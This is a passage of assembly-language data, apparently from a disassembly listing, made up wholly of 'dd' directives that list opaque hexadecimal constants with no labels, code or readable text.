42C3E87Ah, 182FC830h, 735C14CFh dd 0C88084A2h, 0BB2771CEh, 885C429Ah, 3A122410h, 6E61009h dd 0C50C1A8h, 30DC48D2h, 7AE2DB21h, 0A47C947Eh, 20DE4Ah dd 90AE2C60h, 0A2F20134h, 57D338B8h, 0FA47D39h, 0E9E49130h dd 0CAFE19h, 803294EFh, 6D3C6C43h, 2AF58408h, 6CACBA30h dd 8EC2E088h, 0DE5480FDh, 4E28E538h, 77AC2042h, 0E4025EFBh dd 516B3FE9h, 28E4FB7Ah, 41856974h, 66EE8C00h, 9B11D025h dd 48022D7Ch, 0CC7F8E27h, 0ECC39540h, 0A1BD5E0Eh, 3482DEF9h dd 59C4D8D5h, 32C09334h, 0C419E678h, 0C4B4C508h, 2075038Fh dd 415E05C2h, 0DA1B00E1h, 31094F7Bh, 8B00895Fh, 0CD586D52h dd 0C14CB4Bh, 0C0A30EC2h, 0A91F2A30h, 41010743h, 0C852FF1Eh dd 0EC7E1980h, 0D7218CBAh, 727BF00h, 42CA062Eh, 11020068h dd 375D03ABh, 5C00BD46h, 0DDA5C22Ah, 1CEDAC71h, 106A06DEh dd 110D005Eh, 0A8282993h, 0AE0E00ABh, 0EEE1082Dh, 44763786h dd 282C29C0h, 3183CE85h, 75D0294Bh, 0BAD98737h, 5A811724h dd 1EC336Eh, 0EC69E24Eh, 0D623072Ah, 0C0F5D89Dh, 9784E230h dd 263F5B00h, 884AC9E5h, 0B3C1285Eh, 69314494h, 3DA5B900h dd 0BE784AF8h, 84CE31ABh, 0C0660589h, 0E600D940h, 0EADCAC1Ch dd 1CBD20Eh, 0F9A6065Dh, 0D0A5EEDDh, 0B30AE232h, 0A8AA53DFh dd 0A41C7A40h, 0FE48C32Dh, 1900D552h, 0BE70FCC7h, 0F4C4E86h dd 0E82DCF36h, 3FB304E3h, 43FFEBDAh, 5C5E8BAh, 3E5100A3h dd 7EE13CCDh, 113A0F23h, 80A98C7Dh, 86A901h, 0F9472E9Eh dd 0F869063Ah, 835119C0h, 8B4F4Dh, 0B386F168h, 5CBE40E0h dd 1CAD9C0Ah, 0C11494E4h, 43409CF4h, 7C7D170Eh, 308654A9h dd 3E9819Ch, 0F2BD07Eh, 9B853E19h, 3037A454h, 0A531FF4Eh dd 0FAE2A1FCh, 66B708C0h, 0B567FEh, 85AC04E1h, 0CBB85301h dd 106979C9h, 339AE10h, 0E15F5E1h, 5A8261B2h, 6ADFC4A0h dd 6303D5C5h, 601A5DEh dd 2E1C0B8h, 1668015Eh, 307E678Ch, 0FE64FCE0h, 0DAFAD9C7h dd 5E02A3FAh, 9085CECAh, 1AA62ECh, 13FE5497h, 0D02EE05Dh dd 57601CC8h, 0F0966721h, 83C000C4h, 0B5D886A1h, 2C9210A4h dd 5172730Ch, 0F434C1CCh, 87F449h, 9EB7D0FAh, 93D21F90h dd 0B253A40Ah, 0FF1174CEh, 55887003h, 4BE02E57h, 0A800878Ch dd 6BC68A9h, 51646h, 0CF3CFD85h, 84C74E47h, 0CBA7A00h dd 74AA1AF5h, 260D12CCh, 868C1C12h, 0B95C7FCFh, 40B15324h dd 62A1D060h, 0E46800D5h, 35C86929h, 1C064061h, 0AA3D3E67h dd 22CC42A0h, 9F7C00FDh, 4C8A3217h, 0D224D7CAh, 5E8064F6h dd 42CA907h, 77120463h, 9799B276h, 5B41201Ch, 24A04F37h dd 2C60D9FAh, 5FE0CA39h, 60D27967h, 14920F0h, 1901F93Ah dd 799369CDh, 40ECD5D4h, 0FC5B5244h, 82C5007Dh, 0E14B0E53h dd 0CA62513Ah, 80B21FB1h, 0FBE76B86h, 879B01D6h, 0E1DDB3D1h dd 8463F810h, 8050A148h, 0DB0183ABh, 0C9A6033Eh, 4453765h dd 0D830A90Fh, 0D5D08136h, 81C6404Dh, 0C56DDD40h, 0D9477189h dd 81CF8001h, 75218C52h, 0FF6132h, 0F5E59A1Dh, 0B3EAF27Eh dd 0D057890h, 9E8460B2h, 10804448h, 9F204436h, 0F97B3800h dd 0E3957A7Fh, 0C4164862h, 8939FA03h, 0BE880B49h, 0DB00BF31h dd 872A17E6h, 0A26FDFCDh, 1E0C4090h, 0F8E2A6h, 615041E8h dd 7FC61CE0h, 6307D890h, 0C504446Fh, 8107C8A2h, 652F77Ch dd 0BDB1C0C7h, 5FD500E1h, 0CB042E48h, 0D852FA7Dh, 9FB312E0h dd 0CFA06805h, 145CEC10h, 284A37h, 78AAFDA5h, 6FAB5485h dd 758F5816h, 149CA680h, 0FA0C1247h, 305F1768h, 7FE900BDh dd 0B860F16Dh, 9D60C5FCh, 0CD0BE36h, 0E9E000FFh, 7884E101h dd 0A400B17Eh, 3082A9F9h, 3CF08A0Eh, 6A289704h, 0A0842808h dd 84489814h, 63290EF0h, 64C9ACBBh, 66961480h, 0ECA88C51h dd 29DE7BCFh, 13FB6900h, 1DAA4C78h, 439F5F8Bh, 689133C9h dd 0F07185C1h, 9015249h, 6D7A8EABh, 11704187h, 0CE790912h dd 0C013B053h, 299408C5h, 0D5086182h, 0CC40406Bh, 4D371169h dd 4F1C1810h, 0E98381h, 0F7FB28C1h, 4AF1D999h, 0D43E5E7Dh dd 11170012h, 8DAE83A5h, 36CEEDBh, 9ED228F6h, 2388806Bh dd 67036960h, 1050DD06h, 412BF10Bh, 3E200470h, 601E1661h dd 577B8088h, 0AA0537B0h, 0F143731Ch, 7184FDC0h, 3EC2AC4Ch dd 4F4CA935h, 0E4A80F00h, 1CE2048Dh, 0FCA95660h, 92D767h dd 0CA850B75h, 0A4289CE1h, 0C7A90C00h, 40CB5A09h, 0F1A0003Bh dd 589DE343h, 957A84C5h, 3A6BD900h, 91B687A9h, 0DC790F5Bh dd 3E27086Fh, 0BF13E0DEh, 75120A70h, 0A11EDA7Eh, 4A5D5CC0h dd 0B8187A90h, 51620A38h, 9E82E5Fh, 0DC9087CEh, 0E7005DFEh dd 0A1BC8084h, 17AD9BA4h, 11318CC0h, 0E201CC99h, 0CEFB977Eh dd 0E1466072h, 0F8B8D360h, 0D5F111h, 2E3AB1B0h, 5BDDCF20h dd 32680CA1h, 6678006Ch, 74AEE265h, 0FAB70AA7h, 97F438D7h dd 0B89C2151h, 0F0B2CDBCh, 7F014F07h, 38ACFA6Bh, 0D8337DCFh dd 6026B521h, 4161DF03h, 0C8EEA2FAh, 785DCCh, 202BA6D5h dd 2515E28Bh, 45E3D801h, 2A0746A9h, 87C40EEh, 0FEE526B2h dd 0FDAC6090h, 9F09C4CDh, 77F27B43h, 1066B581h, 5C9816Dh dd 1D18735Dh, 4A1C4840h, 54D40E6Eh, 0B5EC2D46h, 0D2706219h dd 0C0DCDC4Ch, 932B319Eh, 0D5851EAAh, 1D19C436h, 3EF54054h dd 0F2416AFCh, 77B7AE3h, 2F2835F6h, 0A4D3D3B3h, 115E2902h dd 696E7C90h, 64D6DD98h, 7ECF29B8h, 81AA9094h, 67A7D675h dd 0C4099052h, 22414140h, 0F0980CCh, 3EFFDBCBh, 0FD87F6C1h dd 0F03F2E3Bh, 0BE8184B8h, 3032E800h, 0B3483A9h, 0F410480Ch dd 3CADCC00h, 76B6A0Eh, 9454DD00h, 4134B9A9h, 0C90D011Fh dd 7B5E82FEh, 4468FE1Bh, 0E10AE7B8h, 9C511CF8h, 1A198049h dd 1C3CCCF0h, 0BB42DA20h, 0FD46A480h, 4A83F2D3h, 1A3A8012h dd 74206C17h, 275D26h, 0A1F65A9Dh, 2ABBBDE5h, 15E6C907h dd 6482D704h, 80CF01DBh, 71A846h, 1CC5D344h, 0C39D6A1Ah dd 0EFE8A2EAh, 4E6F03E8h, 0B8875400h, 0CAFE73DAh, 944C0040h dd 53152D5Dh, 0C0A4C7ADh, 325F7F22h, 58C0ABFDh, 530494E0h dd 2DC1AE12h, 0F968C002h, 6001005Eh, 3E007E28h, 0E6AA3AEFh dd 94CFCAC3h, 80C91F0h, 0B7C262Dh, 500058BEh, 444AD0FFh dd 8030762Ah, 0FFED0EFh, 0A4B01000h, 0B97EA30Eh, 0B4E70E26h dd 0DCE0184Ch, 69797754h, 0E998D800h, 705D0DFAh, 0FCA60119h dd 8B8571B3h, 0DDF02022h, 5C018FB0h, 0CCA95A12h, 0AAE4A80Bh dd 812E0003h, 6E696122h, 4F3DDDFDh, 0D0A4809Eh, 9F371A40h dd 2E521AA3h, 0A0434261h, 19366CA0h, 0C30F14B8h, 80A5146Bh dd 7913A069h, 0B60B8F3h, 0EC5A0A4Fh, 802B892h, 148451DDh dd 7DD4A468h, 614E8500h, 4C31D419h, 0FC1FE429h, 0FA110052h dd 0E53FA338h, 7E00850Ah, 3327021Bh, 0E85D68A9h, 84C10787h dd 4092E76Eh, 0CC8BB15Ch, 1B793507h, 0A85A75A6h, 0D827C580h dd 0FC4668B5h, 0DBB80F36h, 93C3B3h, 31C99684h, 0BC0C3B57h dd 3233457Fh, 0D45B0C25h, 5A980CEh, 0E1946500h, 7078DEA5h dd 19D163FAh, 85E7C95Eh, 370807DCh, 0A439CC4Eh, 1017FD7Eh dd 7C00D7CEh, 692E9B86h, 821C303h, 60A0017Ah, 68309361h dd 0B64D1902h, 79E70F9Bh, 0F785A8E5h, 1CE0818Fh, 0BF69804Bh dd 966AA6F4h, 0D97936h, 0FDAE2E06h, 37E328EFh, 93740D02h dd 5251FF4Fh, 0B02600C4h, 8C3AE557h, 7100CF5Dh, 16343D1Bh dd 3DAA1AA2h, 9402EC9Eh, 0A510A4F9h, 37E8905Ah, 4B2CD90Bh dd 85600411h, 941C90B4h, 431F8708h, 5AB110F8h, 0D80AB6D5h dd 0DAE8F4B8h, 0DAFA6A02h, 49909015h, 0A72C8804h, 10093507h dd 0E1E6946h, 0C5B4A359h, 661C044h, 0A1A2010Dh, 0B06256E6h dd 3BCBE43Dh, 1DC48E01h, 9375A4B6h, 2619034h, 2B1508E9h dd 8C607CC2h, 504287CFh, 1A2C3822h, 7B0026C7h, 0C0C1BD34h dd 25A3722Ah, 84908E77h, 8900C841h, 6EE0B93Ah, 6469F749h dd 0C0B140CFh, 0CECB07D8h, 0D4417E4Bh, 0C986A9FCh, 4F639BF8h dd 0C53030A4h, 0C6F43D8Ah, 156E0400h, 2FA8E35Fh, 0D00D63C3h dd 3000D3E0h, 0DB07DAD9h, 3A1D90h, 0E4371832h, 8AE8690Dh dd 6AD0B00h, 7CA22A4Ah, 0C102049Dh, 0A2380536h, 112900E8h dd 9EC835FBh, 85C9004Eh, 2749936Bh, 2039B07h, 69048EF6h dd 6A310015h, 3FD20C42h, 938891Bh, 0D38B07AAh, 0E461EF4Eh dd 0AC3D765Fh, 0D94DC600h, 996673FDh, 0FCFC083Dh, 74594C00h dd 0AF719E62h, 37763792h, 24CCD031h, 0FD001BFBh, 0D9950DD6h dd 2E5C62B2h, 782C88h, 0DA84CE20h, 0F0B82EA8h, 25EEFF17h dd 6047DC02h, 0DDCE80DEh, 32AB9E74h, 0A1181DAFh, 362E5260h dd 0DE840B0h, 809CA958h, 0EF184641h, 35E9055Fh, 101E405Bh dd 111C9108h, 0A62E44D7h, 0BE0E284h, 1085CF03h, 7AAFEB8h dd 4FD97E69h, 0B254F2E0h, 17276C51h, 0D2790414h, 0A91CE4A3h dd 0EF386F07h, 6487139Bh, 80B8785h, 0D4F004CBh, 0C878CF45h dd 34527524h, 0DA007CA4h, 9450E984h, 5C01ED1Eh, 5738DCD8h dd 3BCA5800h, 0DDD0094Bh, 870F407h, 0A9E01F81h, 2FFF8Bh dd 0A184D579h, 7707418Ch, 0CF91B10Eh, 7C8813FEh, 0B260001Ah dd 0EC0A2542h, 530ECA86h, 7DA4989Fh, 18943A80h, 601DAE60h dd 0EC14A155h, 84079BB7h, 4EB95DCh, 26801775h, 9CA519FCh dd 0C685900h, 3008C0D5h dd 0F37ED066h, 0C507A090h, 0E82E15E1h, 6CD25B95h, 0D0FC2761h dd 52FE0109h, 0A00F4B1h, 716836E1h, 97E400CAh, 363043Eh dd 2D00C480h, 0FD7C29DEh, 1F1FAA2h, 524AD105h, 308326FEh dd 0C1403F48h, 519DFB51h, 0D79240D4h, 585BBBE4h, 878E1200h dd 0F4476967h, 3EBE0623h, 317BAE54h, 0A0E97A01h, 5D124637h dd 4222FC39h, 29D25130h, 3E8A09h, 471281Ch, 316419FDh dd 9B92CD00h, 95EA680Dh, 8C263293h, 0CA275998h, 0C20703D4h dd 91D6D040h, 0D0B09D1Bh, 0B7873C00h, 6821A3E0h, 3E38C8A4h dd 0F94F3784h, 15309059h, 0B1484487h, 917F1938h, 0CA132720h dd 0C3FC487Dh, 6900AB71h, 350B33FCh, 144A7A3Fh, 40A55C08h dd 0B1758201h, 4265BDC9h, 46127998h, 0B49607B0h, 722F14F4h dd 90C8B639h, 4F13D5D2h, 44C84240h, 0E941866Fh, 0B1809C3Ch dd 33D75725h, 8931F76Fh, 0DF2403B3h, 591CA16Eh, 5F261980h dd 0F4334A51h, 7965CB01h, 5DF068E2h, 38834439h, 6DC87A33h dd 0D00F67Eh, 8A127CA8h, 221B150h, 7D712DB6h, 0C8C0A4D3h dd 1179642Ah, 0B3FECB02h, 44DDFA76h, 0FCA100FCh, 0E13F813Dh dd 0D496C71Ch, 913C004Bh, 0C406E9C9h, 0A6537EC9h, 8A5065E4h dd 0F6E8F88Ch, 0A74A0018h, 946AFD0Fh, 6005423h, 90C11D61h dd 7E5D15D1h, 0E3512DDCh, 2934BC38h, 31CBC00h, 470C5DEBh dd 6DAB0B73h, 0EF80D501h, 661A2D9Dh, 0AA040E01h, 1B1C4D77h dd 1E7585F4h, 0C51F64Bh, 0D0E870B2h, 0D5AC3A03h, 7FD868C9h dd 5A4A861h, 0A8E40E6Ch, 0E965A329h, 2C703D02h, 76068018h dd 5B2FF889h, 0A376E0E8h, 84A43Eh, 0E18E6FA5h, 7BB3FD30h dd 0B5D7257Bh, 0A3E200A1h, 7569ECDDh, 88ADFE12h, 493F6808h dd 71602F86h, 6B724CA0h, 0F47BE500h, 34B1FDA7h, 13350520h dd 9642DC8h, 0C466CC84h, 0C1FA6930h, 9405Fh, 4979146Fh dd 5AC19F8Dh, 0A1E2507h, 29DC1287h, 0AA0F0005h, 0DBC3E1ADh dd 0CCB8E3C5h, 5AB65F00h, 0A02A1B10h, 1CE7745Dh, 0C119D02Dh dd 81CE6C23h, 9983C99h, 0C4CDAF53h, 115D4204h, 0EA0BC1ABh dd 74A80DBAh, 404A07ACh, 1D1852D7h, 56E6C05Ah, 196DC800h dd 0F1178099h, 8ED03EAh, 54C4CF9Dh, 75108EB0h, 68AA4C00h dd 41816D73h, 0AB0F0024h, 51DF5870h, 760285FFh, 0D83EA1F7h dd 199CCE36h, 0F9164E37h, 0C621Ch, 495B106Dh, 7F2EB781h dd 30D703C3h, 41F65E9Fh, 9861EFCAh, 8CC5479h, 19165280h dd 7E0CE4CAh, 0EE3077E9h, 2AFA5D40h, 44402FD1h, 23322C04h dd 993D486Dh, 0E212DFA4h, 61489063h, 0D022CCh, 6422301Dh dd 0B54AFF67h, 3A35C51Fh, 59EA7100h, 33A4ADA1h, 69587422h dd 40754128h, 8040C93Eh, 0A26AB876h, 0D7F25FCh, 65AE53E0h dd 1EF47261h, 0BE4489C5h, 0F4C8C35Bh, 0BD5D8879h, 0C09430F5h dd 0D0260645h, 3729E331h, 0A5284142h, 33C8E365h, 130362FEh dd 253A4D4h, 87AAF8F8h, 0A2E40199h, 0F085330Dh, 0FF9DCC07h dd 0DF1F8300h, 5DCB73B1h, 4B7D5Ch, 0D5135E08h, 3F49B0ADh dd 83AB0600h, 0BB54DF61h, 48E2EE5h, 53A42E4Ch, 807CC1A9h dd 15B23A46h, 291D364h, 29FDF0BCh, 9C828B23h, 68642B05h dd 531D9E11h, 7F238800h, 689A5650h, 6DB8E90Fh, 7ADE0031h dd 90C1507h, 0F6A51F11h, 0D0BAECBAh, 0B501A8D2h, 8D330380h dd 0FFCCAA27h, 5CE91C30h, 603CC010h, 0F751DDD2h, 5C901CA2h dd 670A4A8Ah, 0E37270CEh, 0ADBDB200h, 1E1885Dh, 135AB4D3h dd 69704899h, 33751BC0h, 0CBBE9091h, 0EDFB0040h, 787F943h dd 0C502D1A2h, 302E70FAh, 178C675h, 65513832h, 203DBBF8h dd 0CE2F7B3Bh, 0CACC907Eh, 5442134Ah, 7844C8B8h, 3CE286h dd 0CB5D26E1h, 0F69A5D4h, 1A03E772h, 7D6BCC8Dh, 0E07C8840h dd 17D5F090h, 92E1C52h, 10644350h, 0A35CF719h, 0A840B160h dd 8AC6A953h, 17A8A840h, 0FE2DCB00h, 0D715F767h, 875C9C2Eh dd 82566DE2h, 0A060F39Eh, 43407444h, 0D06A5430h, 62B20B0Fh dd 0FC99A084h, 0A460282h, 482460A0h, 0F600AC35h, 0FB69B997h dd 0C3436E11h, 196BD5F1h, 780384A1h, 53F8D754h, 453D3813h dd 0B451B2DCh, 0B60A0370h, 90CA43A6h, 93D8E500h, 1E8A295Dh dd 8AEE5FCCh, 0C0C31E1h, 9139CF51h, 44275700h, 6490DE4Ah dd 67093F3Dh, 0B7F4AE80h, 353240CAh, 3CDB1F3Bh, 6DE701FDh dd 7FCF3B1Ah, 0B321D033h, 0A278E100h, 17DED17Dh, 9247375Ch dd 0C056A578h, 0D2DC7C40h, 0EED5002Ch, 0E8465116h, 120AA184h dd 6CB1A4A5h, 86FA6E81h, 87002656h, 47C4AB5h, 630C808Eh dd 94B89510h, 0C8A47684h, 0E1143098h, 1BD8B202h, 0C0193675h dd 2C6346h, 6795764Eh, 322233BCh, 4420934Ah, 3AEA9092h dd 0C4D1F286h, 1C023AF5h, 0BB71EC44h, 0A4B7B903h, 0B782150Bh dd 0B10F1AA1h, 4BE1C861h, 0FF8F214h, 6B8B1FCBh, 0F6330094h dd 0CD0A39h, 13212072h, 0A47D4DDEh, 0F9003171h, 62C1AF4h dd 0FF36E2h, 0E504463Eh, 77DDBAD3h, 0D59A1000h, 571A80F1h dd 0F46E00A9h, 85023749h, 0C9002D94h, 76AA1D8Eh, 9058CCC3h dd 766248Ch, 0EFF7006Ch, 0A7FCDEA3h, 0FDF14B19h, 4F1014F8h dd 0A500BCE1h, 6220F257h, 11021FBh, 0D5E48F6Ah, 70D888C0h dd 4CEED720h, 11474025h, 110C6C60h, 485E280h, 46E0F17Bh dd 51082FFh, 59ABFA21h, 428451F2h, 785457DFh, 0A12B7D43h dd 3980FE69h, 0EB6DDACBh, 0B90FEDC9h, 0A025CA20h, 9E97884Ch dd 53030CB0h, 6969D8B8h, 67391160h, 0B6B546h, 0FC18C137h dd 0D2F203F4h, 0A8001DEEh, 8EF8E8E2h, 91902A64h, 0B900BD98h dd 9AF9BE1Bh, 905F66Dh, 6F4C6A80h, 7D0B18C0h, 9464482Ah dd 269E8400h, 0A5DFA44Dh, 318DB40Ch, 4BDAE830h, 0E77446EDh dd 0E07C246Ah, 0D43AD42Ch, 60E890ADh, 0A96939E6h, 56A5C080h dd 0B58B4157h, 0A6A84400h, 6429C819h, 9930907Ah, 0E1146054h dd 0C406CA4Ch, 323F4FDBh, 85504F6h, 0A9D6FB1Eh, 0E9621D54h dd 18C4DE15h, 0CA1947D5h, 0D92C053Fh, 1CC735h, 36FF930h dd 8501A194h, 0D861B770h, 0A83D6B1Ah, 0A8F8A584h, 34D61188h dd 0AD02EC53h, 4DF16596h, 0D50DDBC0h, 6CB31898h, 0BD642D01h dd 30ECF1B8h, 509D7C7Eh, 27FE9CAAh, 0E4A26866h, 0A5606E78h dd 0B100F883h, 733CE509h, 18CEFEC3h, 88A46516h, 4C5283CFh dd 3C2290h, 562F1F4Fh, 44416ED8h, 0FA33B404h, 4E87E294h dd 108EB103h, 1CCFA5A0h, 522685Dh, 266589AEh, 8254244Ch dd 7929478Ch, 0AD0400CCh, 4DDBCD90h, 0A90BD000h, 0FD93AC8Fh dd 3907F049h, 0F8D85AC7h, 622E4220h, 0C091E4EBh, 0FCA57500h dd 833C77A9h, 3A4AD016h, 0AC345402h, 2C44614Bh, 98794448h dd 0B3503C4h, 4C625CF8h, 0B3FABFC0h, 90FE032Dh, 0E76368Ch dd 31B89660h, 18BB0B00h, 0F604086Dh, 4137A80Ah, 0C9C0F4ACh dd 0F1E01039h, 0AE067478h, 581CE117h, 928E00F1h, 1A0BBBB4h dd 0AF004134h, 0A1D0DF04h, 0E9E41Fh, 76469F9h, 0DC9C4DDDh dd 40DB6F00h, 0C58E718h, 7F109068h, 0A9653B1Ch, 8B48A185h dd 243041EFh, 216B6E73h, 6CFE801Ah, 0A2870266h, 0EF5A581Dh dd 4481F440h, 2F002ECCh, 0F21C3D92h, 1ED22DF4h, 0C10974A5h dd 95704D30h, 0D18840F7h, 0B6193B5h, 0E03AAB18h, 7F365420h dd 0A48A50BBh, 0F45701BCh, 74CB55Ch, 6DBC207Bh, 0B401A970h dd 80773874h, 0C7F0611Ch, 0AB970355h, 0DE150186h, 7E1040EEh dd 3408F6DFh, 183E8036h dd 131935D2h, 7686068Fh, 0A861732Dh, 30A68910h, 0D5267808h dd 0FB18FA3Ch, 4430EA28h, 0B12C0276h, 42728E02h, 0F4F19860h dd 0CC403362h, 374820Ah, 0F0711CEh, 2D119A20h, 3008F759h dd 9F391B43h, 3711D4D1h, 2468CBE7h, 0E1CA951h, 0DB6CFE6Bh dd 40D0013Ah, 1813E535h, 0CE2441DAh, 1296AC28h, 8248F220h dd 60184A79h, 7152A72Bh, 2E733E84h, 6C2E05Ch, 30E44838h dd 37DEFA11h, 34685127h, 4D009183h, 668EC8B8h, 981262ABh dd 47810C8h, 55B01F37h, 4D7C3C04h, 0EA05A480h, 0D7123841h dd 14396A8Bh, 0DA7C74C0h, 4B5E126h, 490BF239h, 2C815A4h dd 401A0310h, 40D7B144h, 1214F6DEh, 0F120FC0Eh, 0D019A2A8h dd 0C1C03976h, 0C022A9EEh, 20E86Ch, 0D7063D61h, 0B77C9854h dd 431AAD05h, 84225B19h, 7AE84452h, 8998ABh, 0ACB66C29h dd 4E0F177Eh, 91307B13h, 9360444h, 118C0212h, 3E20601Eh dd 1DCC8301h, 0A7A5F6D5h, 41D374C3h, 0FA1D2100h, 81505982h dd 247946h, 0FF2D5FF6h, 338D68A8h, 78494201h, 3AB387Eh dd 7344202Ah, 65002DDDh, 9BB5F9EAh, 3857ACFh, 8087109Dh dd 3013097Eh, 0F019CBD6h, 7181798h, 0D5CA8308h, 0C01B71E6h dd 9600AF83h, 99F5B6B3h, 35526F8h, 88A2FC90h, 60710ACAh dd 2044700Ah, 102DF438h, 4CA6A408h, 3D10F4D4h, 0C17977DDh dd 0C12B7630h, 347190Ah, 0E20DB206h, 8DEA95Ah, 0E9214160h dd 2EA4710h, 69F7D7BAh, 0C5E34AC4h, 630978D6h, 0E2B0BDh dd 905EC38h, 2A39C153h, 0E89FC8A2h, 3A0C9949h, 8C1412Eh dd 4021DFD6h, 3EC79FD1h, 88026F04h, 95C27EC3h, 2A5480ABh dd 0C0A8EDCAh, 1E81B310h, 2300A76Bh, 54CC1138h, 8456B2h dd 983ABE93h, 0B850B14Eh, 6851F200h, 3FA5D529h, 26F60CF1h dd 1619AAE4h, 668C8800h, 59D2F476h, 0CCFD1D89h, 22203085h dd 3002011h, 0E9B78F8Eh, 38C134D0h, 0F01E5AA7h, 7F00FE4Ah dd 1D0E4ECCh, 0D93C5B50h, 98080F7Bh, 0B9EF0019h, 38511772h dd 6730779Ah, 23E4A458h, 61019300h, 1CCA228Ah, 2B140199h dd 0CD360C62h, 7A28BE78h, 2AF0D112h, 6C46E60Fh, 6579970h dd 257C79EDh, 10EE688Ch, 8A077D72h, 0EF614D8Fh, 0C2AA403h dd 685771A0h, 7E93380h, 178E5B1h, 0DA5D7080h, 4D581A3Dh dd 0A9155608h, 781800F9h, 0F477E76Ah, 147838F8h, 948EE028h dd 957CA01h, 106B690Dh, 58B152D5h, 976B990h, 8497B1FCh dd 30400870h, 0E48E1873h, 0D2E7C89Ch, 5DE8FA61h, 101A2B19h dd 84E476B9h, 0A5C000AFh, 0F150016Ch, 8A24C1FDh, 0B8F85B68h dd 0A8BC799Dh, 58D0F8DDh, 307DFF04h, 3110F723h, 84A03278h dd 0BC03015Bh, 41E94DC1h, 51B0076Eh, 0E139AF6Fh, 882CC031h dd 0BD3529h, 7A8DA834h, 0DD004FC6h, 0F301962Ah, 3AB525D9h dd 6181863Eh, 267C3285h, 2716F465h, 0A584EE01h, 0F7D0C277h dd 73F15160h, 7E7D2Ch, 2AABDA41h, 84A076A3h, 36015A00h dd 7BFC4C9h, 9EDE0BC2h, 620026BBh, 0AD08F6B2h, 80ED933Bh dd 9D59C9DBh, 429575h, 0BB3741F8h, 55CCE836h, 0BCE02F03h dd 0A846C573h, 22596Ah, 0FFC25E14h, 9AFE947Dh, 0DC5F3800h dd 611B50D8h, 30420ACFh, 986640h, 1A9F62C3h, 0B53D27F6h dd 6352057Ch, 3CC0FEA1h, 1BE6FA5h, 7E457767h, 0DCE659B5h dd 1D60A3BDh, 0CEB4768h, 0BA520008h, 42F2BB0h, 2E1D2806h dd 4D00CF5Ch, 58BFC80Eh, 0D990011h, 0AD84FCDBh, 4A0352C1h dd 0A00E212Ch, 0CFCEE802h, 0DCA600D3h, 0A91A139Eh, 8F0FE8D1h dd 0A1185CC7h, 0C62D513Eh, 0A6DBD4h, 57AD59F5h, 0F354FDF8h dd 0CFBC9854h, 5F90DA00h, 7AB7695Dh, 4ADC124Eh, 640C008Bh dd 0B280DF62h, 910F8E00h, 217EFC02h, 0AB450153h, 176AA6F5h dd 0B2E8EC69h, 0B1843703h, 0A855667Dh, 7A2B82Ch, 75FE1E56h dd 0EE78F91Fh, 0F6595200h, 0CA0BDCB3h, 0CC20006Ah, 774C80D2h dd 240051EEh, 94817DC8h, 7DC9903h, 0FD36D79Dh, 8E7B7090h dd 0E100ECADh, 82C18F53h, 71DBF38h, 3EFC0996h, 0F67EC395h dd 20F117F9h, 45393268h, 91048063h, 0A194C1B3h, 601800C4h dd 0EB5CF8EDh, 6900CB8Eh, 1AB30EAEh, 47FC11h, 10AC63CCh dd 0A65A6D7Fh, 5BE3400h, 30421EDh, 1B400073h, 3A4F66B8h dd 0E50E63EEh, 0E0580842h, 54E91713h, 0DA2800DEh, 2BDBAE22h dd 14009C93h, 1340E65Fh, 970AAh, 72BEF343h, 807129DFh dd 2F4FB3Bh, 1C50C62Eh, 2DC0838Dh, 0B45F993Ch, 46824h dd 38D0C7CDh, 0C191088Ch, 1E00A3F6h, 69C5E399h, 0C95B3Ch dd 972F46Ah, 62010B44h, 0CC00D00h, 5F58841h, 0EAF8E895h dd 2E9200ADh, 0EEACE79Dh, 18000CE2h, 1415A5AFh, 0C8B9C09h dd 4FADE1A3h, 74002450h, 0C12730ECh, 72CF4746h, 0B60E0078h dd 0A9EDDDDCh, 0CD3E1749h, 0E5E80020h, 119C32DAh, 6E8C1D5Fh dd 860800B3h, 0F4DF87A9h, 5C887E00h, 0E3C429A2h, 6C4400F7h dd 6653607Fh, 2E1F97B5h, 0CB022125h, 69057942h, 1822DD8Ch dd 0C35C611Dh, 7B8DF797h, 0F1E14CBBh, 58AEF0CBh, 2BEE8F00h dd 9F08064Fh, 6498C11Bh, 0E8126D2Ah, 0D213EA31h, 804E6B29h dd 0AD2220D0h, 77EF8h, 0D5470125h, 872CCA5Eh, 367B9005h dd 0C000E673h, 0DA76EC05h, 108D1E9Bh, 473FC089h, 7C3673FAh dd 0FDD4A000h, 0B4AF63Ch, 3E0E01A8h, 5DBD14C1h, 1DB5E82Dh dd 0F9A60A00h, 0DCD1B984h, 1F77080h, 0B4E196E7h, 2045FE0Eh dd 0AC07B607h, 59AD062Eh, 8C838971h, 2C0820h, 79B8881Bh dd 0C9C8F786h, 5926B31Eh, 7D090ED3h, 0A4D8216Eh, 0CBD4FB20h dd 4EA507F9h, 0C094CC9Dh, 0D5469EEBh, 8467BD3Dh, 57FAA8C6h dd 94D0C887h, 7E4E8D3h, 1E2C2A55h, 0CC003981h, 89C43648h dd 0A600FA98h, 0B023C367h, 1C17E47h, 0BABFA057h, 0C0E558F7h dd 611F44F4h, 45C074E6h, 0FF768CE9h, 35080097h, 0FC0FC94Bh dd 4E00BD62h, 8419B365h, 152A006h, 0BF66B728h, 0F59D6C4Fh dd 643020F5h, 758BAD07h, 10705162h, 0B2F09Fh, 23CC16C3h dd 0C8EF4C77h, 0A69511C0h, 201280h, 67F12D08h, 0CE9035B1h dd 64218D06h, 0AB28C433h, 9606B814h, 11A95CB4h, 494A611Ch dd 3420BDE6h, 0DF8BD953h, 7D938A0Fh, 0B4CA4A03h, 0EBCF3E01h dd 0EEFC1083h, 3A8E0B67h, 80F778E7h, 0B1E95E97h, 0C8360062h dd 17AEB75Dh, 4033883h, 255CE6Ch, 7AF89039h, 3C570025h dd 785A9167h, 7E7340FFh, 7D58B100h, 2F96BA9Dh, 0ADF01B2h dd 6A300C7Bh, 62B84068h, 690C0614h, 509FA9E4h, 6EE2078Eh dd 61ECB779h, 0D82B4689h, 803E8A09h, 93F916E1h, 0AD0CF440h dd 0D5F640h, 9712048h, 0B13BD049h, 0E495F100h, 0CD43BBEBh dd 4C20066h, 0E886A298h, 4E13DA58h, 6C0020B0h, 0E007FA59h dd 3DAE0A27h, 0F40966h, 0B5E7492Ah, 731CC8F6h, 0E9CF7B6Dh dd 0B04012CBh, 12646B71h, 0BC2D05E7h, 3C0A131h, 83FD7BB4h dd 9EC316C1h, 0C051511h, 4CD04D5Fh, 6D63C8h, 0FD8DE88Ah dd 915597F7h, 99527500h, 0EEDDAACFh, 0D3160285h, 79A28E23h dd 6905C4E4h, 687BA0C1h, 0E1CB080Eh, 4D61BD03h, 722A7880h dd 716648Dh, 14B82E07h, 318C4C53h, 18C09A65h, 0B8F71268h 